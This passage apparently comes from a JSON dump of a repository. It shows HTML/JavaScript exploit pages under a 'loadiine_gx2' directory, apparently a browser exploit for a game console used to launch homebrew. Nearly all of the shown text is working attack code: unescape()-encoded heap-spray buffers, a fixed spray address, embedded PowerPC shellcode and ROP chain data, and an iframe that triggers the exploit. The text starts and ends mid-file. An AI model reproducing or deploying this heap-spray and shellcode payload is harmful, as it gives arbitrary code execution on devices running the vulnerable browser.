unescape(\"%u0000%u6f80%u0000%u6f84%u0000%u6f88%u0000%u6f8c%u0000%u6f90%u0000%u6f94%u0000%u6f98%u0000%u6f9c%u0000%u6fa0%u0000%u6fa4%u0000%u6fa8%u0000%u6fac%u0000%u6fb0%u0000%u6fb4%u0000%u6fb8%u0000%u6fbc\");\n    str    += unescape(\"%u0000%u6fc0%u0000%u6fc4%u0000%u6fc8%u0000%u6fcc%u0000%u6fd0%u0000%u6fd4%u0000%u6fd8%u0000%u6fdc%u0000%u6fe0%u0000%u6fe4%u0000%u6fe8%u0000%u6fec%u0000%u6ff0%u0000%u6ff4%u0000%u6ff8%u0000%u6ffc\");\n    str    += unescape(\"%u0000%u7000%u0000%u7004%u0000%u7008%u0000%u700c%u0000%u7010%u0000%u7014%u0000%u7018%u0000%u701c%u0000%u7020%u0000%u7024%u0000%u7028%u0000%u702c%u0000%u7030%u0000%u7034%u0000%u7038%u0000%u703c\");\n    str    += unescape(\"%u0000%u7040%u0000%u7044%u0000%u7048%u0000%u704c%u0000%u7050%u0000%u7054%u0000%u7058%u0000%u705c%u0000%u7060%u0000%u7064%u0000%u7068%u0000%u706c%u0000%u7070%u0000%u7074%u0000%u7078%u0000%u707c\");\n    str    += unescape(\"%u0000%u7080%u0000%u7084%u0000%u7088%u0000%u708c%u0000%u7090%u0000%u7094%u0000%u7098%u0000%u709c%u0000%u70a0%u0000%u70a4%u0000%u70a8%u0000%u70ac%u0000%u70b0%u0000%u70b4%u0000%u70b8%u0000%u70bc\");\n    str    += unescape(\"%u0000%u70c0%u0000%u70c4%u0000%u70c8%u0000%u70cc%u0000%u70d0%u0000%u70d4%u0000%u70d8%u0000%u70dc%u0000%u70e0%u0000%u70e4%u0000%u70e8%u0000%u70ec%u0000%u70f0%u0000%u70f4%u0000%u70f8%u0000%u70fc\");\n    str    += unescape(\"%u0000%u7100%u0000%u7104%u0000%u7108%u0000%u710c%u0000%u7110%u0000%u7114%u0000%u7118%u0000%u711c%u0000%u7120%u0000%u7124%u0000%u7128%u0000%u712c%u0000%u7130%u0000%u7134%u0000%u7138%u0000%u713c\");\n    str    += unescape(\"%u0000%u7140%u0000%u7144%u0000%u7148%u0000%u714c%u0000%u7150%u0000%u7154%u0000%u7158%u0000%u715c%u0000%u7160%u0000%u7164%u0000%u7168%u0000%u716c%u0000%u7170%u0000%u7174%u0000%u7178%u0000%u717c\");\n    str    += unescape(\"%u0000%u7180%u0000%u7184%u0000%u7188%u0000%u718c%u0000%u7190%u0000%u7194%u0000%u7198%u0000%u719c%u0000%u71a0%u0000%u71a4%u0000%u71a8%u0000%u71ac%u0000%u71b0%u0000%u71b4%u0000%u71b8%u0000%u71bc\");\n    str    += unescape(\"%u0000%u71c0%u0000%u71c4%u0000%u71c8%u0000%u71cc%u0000%u71d0%u0000%u71d4%u0000%u71d8%u0000%u71dc%u0000%u71e0%u0000%u71e4%u0000%u71e8%u0000%u71ec%u0000%u71f0%u0000%u71f4%u0000%u71f8%u0000%u71fc\");\n    str    += unescape(\"%u0000%u7200%u0000%u7204%u0000%u7208%u0000%u720c%u0000%u7210%u0000%u7214%u0000%u7218%u0000%u721c%u0000%u7220%u0000%u7224%u0000%u7228%u0000%u722c%u0000%u7230%u0000%u7234%u0000%u7238%u0000%u723c\");\n    str    += unescape(\"%u0000%u7240%u0000%u7244%u0000%u7248%u0000%u724c%u0000%u7250%u0000%u7254%u0000%u7258%u0000%u725c%u0000%u7260%u0000%u7264%u0000%u7268%u0000%u726c%u0000%u7270%u0000%u7274%u0000%u7278%u0000%u727c\");\n    str    += unescape(\"%u0000%u7280%u0000%u7284%u0000%u7288%u0000%u728c%u0000%u7290%u0000%u7294%u0000%u7298%u0000%u729c%u0000%u72a0%u0000%u72a4%u0000%u72a8%u0000%u72ac%u0000%u72b0%u0000%u72b4%u0000%u72b8%u0000%u72bc\");\n    str    += unescape(\"%u0000%u72c0%u0000%u72c4%u0000%u72c8%u0000%u72cc%u0000%u72d0%u0000%u72d4%u0000%u72d8%u0000%u72dc%u0000%u72e0%u0000%u72e4%u0000%u72e8%u0000%u72ec%u0000%u72f0%u0000%u72f4%u0000%u72f8%u0000%u72fc\");\n    str    += unescape(\"%u0000%u7300%u0000%u7304%u0000%u7308%u0000%u730c%u0000%u7310%u0000%u7314%u0000%u7318%u0000%u731c%u0000%u7320%u0000%u7324%u0000%u7328%u0000%u732c%u0000%u7330%u0000%u7334%u0000%u7338%u0000%u733c\");\n    str    += unescape(\"%u0000%u7340%u0000%u7344%u0000%u7348%u0000%u734c%u0000%u7350%u0000%u7354%u0000%u7358%u0000%u735c%u0000%u7360%u0000%u7364%u0000%u7368%u0000%u736c%u0000%u7370%u0000%u7374%u0000%u7378%u0000%u737c\");\n    str    += unescape(\"%u0000%u7380%u0000%u7384%u0000%u7388%u0000%u738c%u0000%u7390%u0000%u7394%u0000%u7398%u0000%u739c%u0000%u73a0%u0000%u73a4%u0000%u73a8%u0000%u73ac%u0000%u73b0%u0000%u73b4%u0000%u73b8%u0000%u73bc\");\n    str    += unescape(\"%u0000%u73c0%u0000%u73c4%u0000%u73c8%u0000%u73cc%u0000%u73d0%u0000%u73d4%u0000%u73d8%u0000%u73dc%u0000%u73e0%u0000%u73e4%u0000%u73e8%u0000%u73ec%u0000%u73f0%u0000%u73f4%u0000%u73f8%u0000%u73fc\");\n    str    += unescape(\"%u0000%u7400%u0000%u7404%u0000%u7408%u0000%u740c%u0000%u7410%u0000%u7414%u0000%u7418%u0000%u741c%u0000%u7420%u0000%u7424%u0000%u7428%u0000%u742c%u0000%u7430%u0000%u7434%u0000%u7438%u0000%u743c\");\n    str    += unescape(\"%u0000%u7440%u0000%u7444%u0000%u7448%u0000%u744c%u0000%u7450%u0000%u7454%u0000%u7458%u0000%u745c%u0000%u7460%u0000%u7464%u0000%u7468%u0000%u746c%u0000%u7470%u0000%u7474%u0000%u7478%u0000%u747c\");\n    str    += unescape(\"%u0000%u7480%u0000%u7484%u0000%u7488%u0000%u748c%u0000%u7490%u0000%u7494%u0000%u7498%u0000%u749c%u0000%u74a0%u0000%u74a4%u0000%u74a8%u0000%u74ac%u0000%u74b0%u0000%u74b4%u0000%u74b8%u0000%u74bc\");\n    str    += unescape(\"%u0000%u74c0%u0000%u74c4%u0000%u74c8%u0000%u74cc%u0000%u74d0%u0000%u74d4%u0000%u74d8%u0000%u74dc%u0000%u74e0%u0000%u74e4%u0000%u74e8%u0000%u74ec%u0000%u74f0%u0000%u74f4%u0000%u74f8%u0000%u74fc\");\n    str    += unescape(\"%u0000%u7500%u0000%u7504%u0000%u7508%u0000%u750c%u0000%u7510%u0000%u7514%u0000%u7518%u0000%u751c%u0000%u7520%u0000%u7524%u0000%u7528%u0000%u752c%u0000%u7530%u0000%u7534%u0000%u7538%u0000%u753c\");\n    str    += unescape(\"%u0000%u7540%u0000%u7544%u0000%u7548%u0000%u754c%u0000%u7550%u0000%u7554%u0000%u7558%u0000%u755c%u0000%u7560%u0000%u7564%u0000%u7568%u0000%u756c%u0000%u7570%u0000%u7574%u0000%u7578%u0000%u757c\");\n    str    += unescape(\"%u0000%u7580%u0000%u7584%u0000%u7588%u0000%u758c%u0000%u7590%u0000%u7594%u0000%u7598%u0000%u759c%u0000%u75a0%u0000%u75a4%u0000%u75a8%u0000%u75ac%u0000%u75b0%u0000%u75b4%u0000%u75b8%u0000%u75bc\");\n    str    += unescape(\"%u0000%u75c0%u0000%u75c4%u0000%u75c8%u0000%u75cc%u0000%u75d0%u0000%u75d4%u0000%u75d8%u0000%u75dc%u0000%u75e0%u0000%u75e4%u0000%u75e8%u0000%u75ec%u0000%u75f0%u0000%u75f4%u0000%u75f8%u0000%u75fc\");\n    str    += unescape(\"%u0000%u7600%u0000%u7604%u0000%u7608%u0000%u760c%u0000%u7610%u0000%u7614%u0000%u7618%u0000%u761c%u0000%u7620%u0000%u7624%u0000%u7628%u0000%u762c%u0000%u7630%u0000%u7634%u0000%u7638%u0000%u763c\");\n    str    += unescape(\"%u0000%u7640%u0000%u7644%u0000%u7648%u0000%u764c%u0000%u7650%u0000%u7654%u0000%u7658%u0000%u765c%u0000%u7660%u0000%u7664%u0000%u7668%u0000%u766c%u0000%u7670%u0000%u7674%u0000%u7678%u0000%u767c\");\n    str    += unescape(\"%u0000%u7680%u0000%u7684%u0000%u7688%u0000%u768c%u0000%u7690%u0000%u7694%u0000%u7698%u0000%u769c%u0000%u76a0%u0000%u76a4%u0000%u76a8%u0000%u76ac%u0000%u76b0%u0000%u76b4%u0000%u76b8%u0000%u76bc\");\n    str    += unescape(\"%u0000%u76c0%u0000%u76c4%u0000%u76c8%u0000%u76cc%u0000%u76d0%u0000%u76d4%u0000%u76d8%u0000%u76dc%u0000%u76e0%u0000%u76e4%u0000%u76e8%u0000%u76ec%u0000%u76f0%u0000%u76f4%u0000%u76f8%u0000%u76fc\");\n    str    += unescape(\"%u0000%u7700%u0000%u7704%u0000%u7708%u0000%u770c%u0000%u7710%u0000%u7714%u0000%u7718%u0000%u771c%u0000%u7720%u0000%u7724%u0000%u7728%u0000%u772c%u0000%u7730%u0000%u7734%u0000%u7738%u0000%u773c\");\n    str    += unescape(\"%u0000%u7740%u0000%u7744%u0000%u7748%u0000%u774c%u0000%u7750%u0000%u7754%u0000%u7758%u0000%u775c%u0000%u7760%u0000%u7764%u0000%u7768%u0000%u776c%u0000%u7770%u0000%u7774%u0000%u7778%u0000%u777c\");\n    str    += unescape(\"%u0000%u7780%u0000%u7784%u0000%u7788%u0000%u778c%u0000%u7790%u0000%u7794%u0000%u7798%u0000%u779c%u0000%u77a0%u0000%u77a4%u0000%u77a8%u0000%u77ac%u0000%u77b0%u0000%u77b4%u0000%u77b8%u0000%u77bc\");\n    str    += unescape(\"%u0000%u77c0%u0000%u77c4%u0000%u77c8%u0000%u77cc%u0000%u77d0%u0000%u77d4%u0000%u77d8%u0000%u77dc%u0000%u77e0%u0000%u77e4%u0000%u77e8%u0000%u77ec%u0000%u77f0%u0000%u77f4%u0000%u77f8%u0000%u77fc\");\n    str    += unescape(\"%u0000%u7800%u0000%u7804%u0000%u7808%u0000%u780c%u0000%u7810%u0000%u7814%u0000%u7818%u0000%u781c%u0000%u7820%u0000%u7824%u0000%u7828%u0000%u782c%u0000%u7830%u0000%u7834%u0000%u7838%u0000%u783c\");\n    str    += unescape(\"%u0000%u7840%u0000%u7844%u0000%u7848%u0000%u784c%u0000%u7850%u0000%u7854%u0000%u7858%u0000%u785c%u0000%u7860%u0000%u7864%u0000%u7868%u0000%u786c%u0000%u7870%u0000%u7874%u0000%u7878%u0000%u787c\");\n    str    += unescape(\"%u0000%u7880%u0000%u7884%u0000%u7888%u0000%u788c%u0000%u7890%u0000%u7894%u0000%u7898%u0000%u789c%u0000%u78a0%u0000%u78a4%u0000%u78a8%u0000%u78ac%u0000%u78b0%u0000%u78b4%u0000%u78b8%u0000%u78bc\");\n    str    += unescape(\"%u0000%u78c0%u0000%u78c4%u0000%u78c8%u0000%u78cc%u0000%u78d0%u0000%u78d4%u0000%u78d8%u0000%u78dc%u0000%u78e0%u0000%u78e4%u0000%u78e8%u0000%u78ec%u0000%u78f0%u0000%u78f4%u0000%u78f8%u0000%u78fc\");\n    str    += unescape(\"%u0000%u7900%u0000%u7904%u0000%u7908%u0000%u790c%u0000%u7910%u0000%u7914%u0000%u7918%u0000%u791c%u0000%u7920%u0000%u7924%u0000%u7928%u0000%u792c%u0000%u7930%u0000%u7934%u0000%u7938%u0000%u793c\");\n    str    += unescape(\"%u0000%u7940%u0000%u7944%u0000%u7948%u0000%u794c%u0000%u7950%u0000%u7954%u0000%u7958%u0000%u795c%u0000%u7960%u0000%u7964%u0000%u7968%u0000%u796c%u0000%u7970%u0000%u7974%u0000%u7978%u0000%u797c\");\n    str    += unescape(\"%u0000%u7980%u0000%u7984%u0000%u7988%u0000%u798c%u0000%u7990%u0000%u7994%u0000%u7998%u0000%u799c%u0000%u79a0%u0000%u79a4%u0000%u79a8%u0000%u79ac%u0000%u79b0%u0000%u79b4%u0000%u79b8%u0000%u79bc\");\n    str    += unescape(\"%u0000%u79c0%u0000%u79c4%u0000%u79c8%u0000%u79cc%u0000%u79d0%u0000%u79d4%u0000%u79d8%u0000%u79dc%u0000%u79e0%u0000%u79e4%u0000%u79e8%u0000%u79ec%u0000%u79f0%u0000%u79f4%u0000%u79f8%u0000%u79fc\");\n    str    += unescape(\"%u0000%u7a00%u0000%u7a04%u0000%u7a08%u0000%u7a0c%u0000%u7a10%u0000%u7a14%u0000%u7a18%u0000%u7a1c%u0000%u7a20%u0000%u7a24%u0000%u7a28%u0000%u7a2c%u0000%u7a30%u0000%u7a34%u0000%u7a38%u0000%u7a3c\");\n    str    += unescape(\"%u0000%u7a40%u0000%u7a44%u0000%u7a48%u0000%u7a4c%u0000%u7a50%u0000%u7a54%u0000%u7a58%u0000%u7a5c%u0000%u7a60%u0000%u7a64%u0000%u7a68%u0000%u7a6c%u0000%u7a70%u0000%u7a74%u0000%u7a78%u0000%u7a7c\");\n    str    += unescape(\"%u0000%u7a80%u0000%u7a84%u0000%u7a88%u0000%u7a8c%u0000%u7a90%u0000%u7a94%u0000%u7a98%u0000%u7a9c%u0000%u7aa0%u0000%u7aa4%u0000%u7aa8%u0000%u7aac%u0000%u7ab0%u0000%u7ab4%u0000%u7ab8%u0000%u7abc\");\n    str    += unescape(\"%u0000%u7ac0%u0000%u7ac4%u0000%u7ac8%u0000%u7acc%u0000%u7ad0%u0000%u7ad4%u0000%u7ad8%u0000%u7adc%u0000%u7ae0%u0000%u7ae4%u0000%u7ae8%u0000%u7aec%u0000%u7af0%u0000%u7af4%u0000%u7af8%u0000%u7afc\");\n    str    += unescape(\"%u0000%u7b00%u0000%u7b04%u0000%u7b08%u0000%u7b0c%u0000%u7b10%u0000%u7b14%u0000%u7b18%u0000%u7b1c%u0000%u7b20%u0000%u7b24%u0000%u7b28%u0000%u7b2c%u0000%u7b30%u0000%u7b34%u0000%u7b38%u0000%u7b3c\");\n    str    += unescape(\"%u0000%u7b40%u0000%u7b44%u0000%u7b48%u0000%u7b4c%u0000%u7b50%u0000%u7b54%u0000%u7b58%u0000%u7b5c%u0000%u7b60%u0000%u7b64%u0000%u7b68%u0000%u7b6c%u0000%u7b70%u0000%u7b74%u0000%u7b78%u0000%u7b7c\");\n    str    += unescape(\"%u0000%u7b80%u0000%u7b84%u0000%u7b88%u0000%u7b8c%u0000%u7b90%u0000%u7b94%u0000%u7b98%u0000%u7b9c%u0000%u7ba0%u0000%u7ba4%u0000%u7ba8%u0000%u7bac%u0000%u7bb0%u0000%u7bb4%u0000%u7bb8%u0000%u7bbc\");\n    str    += unescape(\"%u0000%u7bc0%u0000%u7bc4%u0000%u7bc8%u0000%u7bcc%u0000%u7bd0%u0000%u7bd4%u0000%u7bd8%u0000%u7bdc%u0000%u7be0%u0000%u7be4%u0000%u7be8%u0000%u7bec%u0000%u7bf0%u0000%u7bf4%u0000%u7bf8%u0000%u7bfc\");\n    str    += unescape(\"%u0000%u7c00%u0000%u7c04%u0000%u7c08%u0000%u7c0c%u0000%u7c10%u0000%u7c14%u0000%u7c18%u0000%u7c1c%u0000%u7c20%u0000%u7c24%u0000%u7c28%u0000%u7c2c%u0000%u7c30%u0000%u7c34%u0000%u7c38%u0000%u7c3c\");\n    str    += unescape(\"%u0000%u7c40%u0000%u7c44%u0000%u7c48%u0000%u7c4c%u0000%u7c50%u0000%u7c54%u0000%u7c58%u0000%u7c5c%u0000%u7c60%u0000%u7c64%u0000%u7c68%u0000%u7c6c%u0000%u7c70%u0000%u7c74%u0000%u7c78%u0000%u7c7c\");\n    str    += unescape(\"%u0000%u7c80%u0000%u7c84%u0000%u7c88%u0000%u7c8c%u0000%u7c90%u0000%u7c94%u0000%u7c98%u0000%u7c9c%u0000%u7ca0%u0000%u7ca4%u0000%u7ca8%u0000%u7cac%u0000%u7cb0%u0000%u7cb4%u0000%u7cb8%u0000%u7cbc\");\n    str    += unescape(\"%u0000%u7cc0%u0000%u7cc4%u0000%u7cc8%u0000%u7ccc%u0000%u7cd0%u0000%u7cd4%u0000%u7cd8%u0000%u7cdc%u0000%u7ce0%u0000%u7ce4%u0000%u7ce8%u0000%u7cec%u0000%u7cf0%u0000%u7cf4%u0000%u7cf8%u0000%u7cfc\");\n    str    += unescape(\"%u0000%u7d00%u0000%u7d04%u0000%u7d08%u0000%u7d0c%u0000%u7d10%u0000%u7d14%u0000%u7d18%u0000%u7d1c%u0000%u7d20%u0000%u7d24%u0000%u7d28%u0000%u7d2c%u0000%u7d30%u0000%u7d34%u0000%u7d38%u0000%u7d3c\");\n    str    += unescape(\"%u0000%u7d40%u0000%u7d44%u0000%u7d48%u0000%u7d4c%u0000%u7d50%u0000%u7d54%u0000%u7d58%u0000%u7d5c%u0000%u7d60%u0000%u7d64%u0000%u7d68%u0000%u7d6c%u0000%u7d70%u0000%u7d74%u0000%u7d78%u0000%u7d7c\");\n    str    += unescape(\"%u0000%u7d80%u0000%u7d84%u0000%u7d88%u0000%u7d8c%u0000%u7d90%u0000%u7d94%u0000%u7d98%u0000%u7d9c%u0000%u7da0%u0000%u7da4%u0000%u7da8%u0000%u7dac%u0000%u7db0%u0000%u7db4%u0000%u7db8%u0000%u7dbc\");\n    str    += unescape(\"%u0000%u7dc0%u0000%u7dc4%u0000%u7dc8%u0000%u7dcc%u0000%u7dd0%u0000%u7dd4%u0000%u7dd8%u0000%u7ddc%u0000%u7de0%u0000%u7de4%u0000%u7de8%u0000%u7dec%u0000%u7df0%u0000%u7df4%u0000%u7df8%u0000%u7dfc\");\n    str    += unescape(\"%u0000%u7e00%u0000%u7e04%u0000%u7e08%u0000%u7e0c%u0000%u7e10%u0000%u7e14%u0000%u7e18%u0000%u7e1c%u0000%u7e20%u0000%u7e24%u0000%u7e28%u0000%u7e2c%u0000%u7e30%u0000%u7e34%u0000%u7e38%u0000%u7e3c\");\n    str    += unescape(\"%u0000%u7e40%u0000%u7e44%u0000%u7e48%u0000%u7e4c%u0000%u7e50%u0000%u7e54%u0000%u7e58%u0000%u7e5c%u0000%u7e60%u0000%u7e64%u0000%u7e68%u0000%u7e6c%u0000%u7e70%u0000%u7e74%u0000%u7e78%u0000%u7e7c\");\n    str    += unescape(\"%u0000%u7e80%u0000%u7e84%u0000%u7e88%u0000%u7e8c%u0000%u7e90%u0000%u7e94%u0000%u7e98%u0000%u7e9c%u0000%u7ea0%u0000%u7ea4%u0000%u7ea8%u0000%u7eac%u0000%u7eb0%u0000%u7eb4%u0000%u7eb8%u0000%u7ebc\");\n    str    += unescape(\"%u0000%u7ec0%u0000%u7ec4%u0000%u7ec8%u0000%u7ecc%u0000%u7ed0%u0000%u7ed4%u0000%u7ed8%u0000%u7edc%u0000%u7ee0%u0000%u7ee4%u0000%u7ee8%u0000%u7eec%u0000%u7ef0%u0000%u7ef4%u0000%u7ef8%u0000%u7efc\");\n    str    += unescape(\"%u0000%u7f00%u0000%u7f04%u0000%u7f08%u0000%u7f0c%u0000%u7f10%u0000%u7f14%u0000%u7f18%u0000%u7f1c%u0000%u7f20%u0000%u7f24%u0000%u7f28%u0000%u7f2c%u0000%u7f30%u0000%u7f34%u0000%u7f38%u0000%u7f3c\");\n    str    += unescape(\"%u0000%u7f40%u0000%u7f44%u0000%u7f48%u0000%u7f4c%u0000%u7f50%u0000%u7f54%u0000%u7f58%u0000%u7f5c%u0000%u7f60%u0000%u7f64%u0000%u7f68%u0000%u7f6c%u0000%u7f70%u0000%u7f74%u0000%u7f78%u0000%u7f7c\");\n    str    += unescape(\"%u0000%u7f80%u0000%u7f84%u0000%u7f88%u0000%u7f8c%u0000%u7f90%u0000%u7f94%u0000%u7f98%u0000%u7f9c%u0000%u7fa0%u0000%u7fa4%u0000%u7fa8%u0000%u7fac%u0000%u7fb0%u0000%u7fb4%u0000%u7fb8%u0000%u7fbc\");\n    str    += unescape(\"%u0000%u7fc0%u0000%u7fc4%u0000%u7fc8%u0000%u7fcc%u0000%u7fd0%u0000%u7fd4%u0000%u7fd8%u0000%u7fdc%u0000%u7fe0%u0000%u7fe4%u0000%u7fe8%u0000%u7fec%u0000%u7ff0%u0000%u7ff4%u0000%u7ff8%u0000%u7ffc\");\n\n                var h1 = [];\n                h1[0] = str.substring(0, str.length);\n                \n                for (i = 1; i <= n; i++)\n                    h1[i] = unescape(h1[0]);\n                    \n                return h1;\n            }            \n\n            function dsm(evnt) {\n                // spray\n                var mem = [];\n                for (var j = 20; j < 2048; j++) sprayOne(mem, j, 0x1dd7b814);\n            }\n            var pointer = sprayInc(25000);\n            var code = sprayCode(300);\n        </script>\n    </head>\n    <body>\n        <iframe src=\"frame.html\"></iframe>\n    </body>\n</html>\n"
  },
  {
    "path": "www/loadiine_gx2/payload500.html",
    "content": "<html>\n    <head>\n        <script>\n            function sprayOne(mem, size, v) {\n                var a = new Uint32Array(size - 20);\n                for (var j = 0; j < a.length; j++) a[j] = v;\n                var t = document.createTextNode(String.fromCharCode.apply(null, new Uint32Array(a)));\n                mem.push(t);\n            }\n            function sprayInc(n) {              \n    var str = unescape(\"%u0000%u0000%u0000%u0004%u0000%u0008%u0dc8%u0e30%u0000%u0010%u1dd7%ub814%u0000%u0018%u0000%u0000%u0000%u0020%u0e58%ud618%u0000%u0028%u0e0f%u83c0%u0000%u0030%u0000%u0034%u0000%u0038%u0000%u003c\");\n    str    += unescape(\"%u0000%u0040%u0000%u0044%u0000%u0048%u0000%u004c%u0000%u0050%u0000%u0054%u0000%u0058%u0000%u005c%u0000%u8000%u0000%u0064%u0000%u0068%u0000%u006c%u0000%u0070%u0000%u0074%u0000%u0078%u1dd7%ub818\");\n    str    += unescape(\"%u0000%u0080%u0000%u0084%u0180%u0000%u0e0e%u5114%u0000%u0090%u1dd7%ub9c4%u0000%u0098%u0000%u009c%u0000%u00a0%u0000%u00a4%u0000%u00a8%u0000%u00ac%u0000%u00b0%u0000%u00b4%u0000%u00b8%u0180%u0000\");\n    str    += unescape(\"%u0000%u00c0%u0e58%ud618%u0000%u00c8%u0dc8%u0e30%u0000%u00d0%u1dd7%ub81c%u0000%u00d8%u0180%u0000%u0000%u00e0%u0e0e%u5114%u0000%u00e8%u0000%u8000%u0000%u00f0%u0000%u00f4%u0000%u00f8%u0000%u00fc\");\n    str    += unescape(\"%u0000%u0100%u0000%u0104%u0000%u0108%u0000%u010c%u0000%u0110%u0180%u0000%u0000%u0118%u0e58%ud618%u0000%u0120%u0dc8%u0e30%u0000%u0128%u1dd7%ub820%u0000%u0130%u0180%u0000%u0000%u0138%u0e0e%u5114\");\n    str    += unescape(\"%u0000%u0140%u0000%u8000%u0000%u0148%u0000%u014c%u0000%u0150%u0000%u0154%u0000%u0158%u0000%u015c%u0000%u0160%u0000%u0164%u0000%u0168%u0180%u0000%u0000%u0170%u0e58%ud618%u0000%u0178%u0dc8%u0e30\");\n    str    += unescape(\"%u0000%u0180%u1dd7%ub814%u0000%u0188%u0000%u0001%u0000%u0190%u0e58%ud618%u0000%u0198%u0180%u0000%u0000%u01a0%u0000%u01a4%u0000%u01a8%u0000%u01ac%u9421%ue000%u7c3f%u0b78%u3d20%u1dd7%u6129%ub814\");\n    str    += unescape(\"%u913f%u0008%u3920%u0000%u913f%u000c%u4800%u0034%u813f%u0008%u8149%u0000%u3d20%ucafe%u6129%ucafe%u7f8a%u4800%u409e%u0010%u813f%u000c%u3929%u0001%u913f%u000c%u813f%u0008%u3929%u0004%u913f%u0008\");\n    str    += unescape(\"%u813f%u000c%u2f89%u0095%u409d%uffc8%u3d20%u0103%u6129%u5460%u3d40%u1dd7%u6143%ub814%u3d40%u1dd7%u6144%uc014%u38a0%u0600%u7d29%u03a6%u4e80%u0421%u3d20%u1dd7%u6129%ub8a8%u913f%u0010%u815f%u0008\");\n    str    += unescape(\"%u813f%u0010%u9149%u0000%u3c20%u1dd7%u6021%ub814%u3d20%u0dc8%u6129%u0440%u7d29%u03a6%u4e80%u0421%u397f%u0020%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u7c08%u03a6%u83eb%ufffc\");\n    str    += unescape(\"%u7d61%u5b78%u4e80%u0020%u0000%u0288%u0000%u028c%u0000%u0290%u0000%u0294%u0000%u0298%u0000%u029c%u0000%u02a0%u0000%u02a4%u0000%u02a8%u0000%u02ac%u0000%u02b0%u0000%u02b4%u0000%u02b8%u0000%u02bc\");\n    str    += unescape(\"%u0000%u02c0%u0000%u02c4%u0000%u02c8%u0000%u02cc%u0000%u02d0%u0000%u02d4%u0000%u02d8%u0000%u02dc%u0000%u02e0%u0000%u02e4%u0000%u02e8%u0000%u02ec%u0000%u02f0%u0000%u02f4%u0000%u02f8%u0000%u02fc\");\n    str    += unescape(\"%u0000%u0300%u0000%u0304%u0000%u0308%u0000%u030c%u0000%u0310%u0000%u0314%u0000%u0318%u0000%u031c%u0000%u0320%u0000%u0324%u0000%u0328%u0000%u032c%u0000%u0330%u0000%u0334%u0000%u0338%u0000%u033c\");\n    str    += unescape(\"%u0000%u0340%u0000%u0344%u0000%u0348%u0000%u034c%u0000%u0350%u0000%u0354%u0000%u0358%u0000%u035c%u0000%u0360%u0000%u0364%u0000%u0368%u0000%u036c%u0000%u0370%u0000%u0374%u0000%u0378%u0000%u037c\");\n    str    += unescape(\"%u0000%u0380%u0000%u0384%u0000%u0388%u0000%u038c%u0000%u0390%u0000%u0394%u0000%u0398%u0000%u039c%u0000%u03a0%u0000%u03a4%u0000%u03a8%u0000%u03ac%u0000%u03b0%u0000%u03b4%u0000%u03b8%u0000%u03bc\");\n    str    += unescape(\"%u0000%u03c0%u0000%u03c4%u0000%u03c8%u0000%u03cc%u0000%u03d0%u0000%u03d4%u0000%u03d8%u0000%u03dc%u0000%u03e0%u0000%u03e4%u0000%u03e8%u0000%u03ec%u0000%u03f0%u0000%u03f4%u0000%u03f8%u0000%u03fc\");\n    str    += unescape(\"%u0000%u0400%u0000%u0404%u0000%u0408%u0000%u040c%u0000%u0410%u0000%u0414%u0000%u0418%u0000%u041c%u0000%u0420%u0000%u0424%u0000%u0428%u0000%u042c%u0000%u0430%u0000%u0434%u0000%u0438%u0000%u043c\");\n    str    += unescape(\"%u0000%u0440%u0000%u0444%u0000%u0448%u0000%u044c%u0000%u0450%u0000%u0454%u0000%u0458%u0000%u045c%u0000%u0460%u0000%u0464%u0000%u0468%u0000%u046c%u0000%u0470%u0000%u0474%u0000%u0478%u0000%u047c\");\n    str    += unescape(\"%u0000%u0480%u0000%u0484%u0000%u0488%u0000%u048c%u0000%u0490%u0000%u0494%u0000%u0498%u0000%u049c%u0000%u04a0%u0000%u04a4%u0000%u04a8%u0000%u04ac%u0000%u04b0%u0000%u04b4%u0000%u04b8%u0000%u04bc\");\n    str    += unescape(\"%u0000%u04c0%u0000%u04c4%u0000%u04c8%u0000%u04cc%u0000%u04d0%u0000%u04d4%u0000%u04d8%u0000%u04dc%u0000%u04e0%u0000%u04e4%u0000%u04e8%u0000%u04ec%u0000%u04f0%u0000%u04f4%u0000%u04f8%u0dc8%u0440\");\n    str    += unescape(\"%u0dc8%u0440%u0dc8%u0440%u0dc8%u0440%u0dc8%u0440%u0000%u0510%u0000%u0514%u0000%u0518%u0000%u051c%u0000%u0520%u0000%u0524%u0000%u0528%u0000%u052c%u0000%u0530%u0000%u0534%u0000%u0538%u0103%u6724\");\n    str    += unescape(\"%u0103%u5460%u0102%u3a00%u0102%u3b28%u0f85%ufe0c%u0000%u0550%u0000%u0554%u0000%u0558%u0000%u055c%u0000%u0560%u0000%u0564%u0000%u0568%u0000%u056c%u0000%u0570%u0000%u0574%u0000%u0578%u0000%u057c\");\n    str    += unescape(\"%u0000%u0580%u0000%u0584%u0000%u0588%u0000%u058c%u0000%u0590%u0000%u0594%u0000%u0598%u0000%u059c%u0000%u05a0%u0000%u05a4%u0000%u05a8%u0000%u05ac%u0000%u05b0%u0000%u05b4%u0000%u05b8%u0000%u05bc\");\n    str    += unescape(\"%u0000%u05c0%u0000%u05c4%u0000%u05c8%u0000%u05cc%u0000%u05d0%u0000%u05d4%u0000%u05d8%u0000%u05dc%u0000%u05e0%u0000%u05e4%u0000%u05e8%u0000%u05ec%u0000%u05f0%u0000%u05f4%u0000%u05f8%u0000%u05fc\");\n\n                var h1 = [];\n                h1[0] = str.substring(0, str.length);\n                \n                for (i = 1; i <= n; i++)\n                    h1[i] = unescape(h1[0]);\n                    \n                return h1;\n            }\n            \n            function sprayCode(n) {              \n    var str = unescape(\"%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1a39%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000\");\n    str    += unescape(\"%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032\");\n    str    += unescape(\"%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff1%u6063%ud518%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080\");\n    str    += 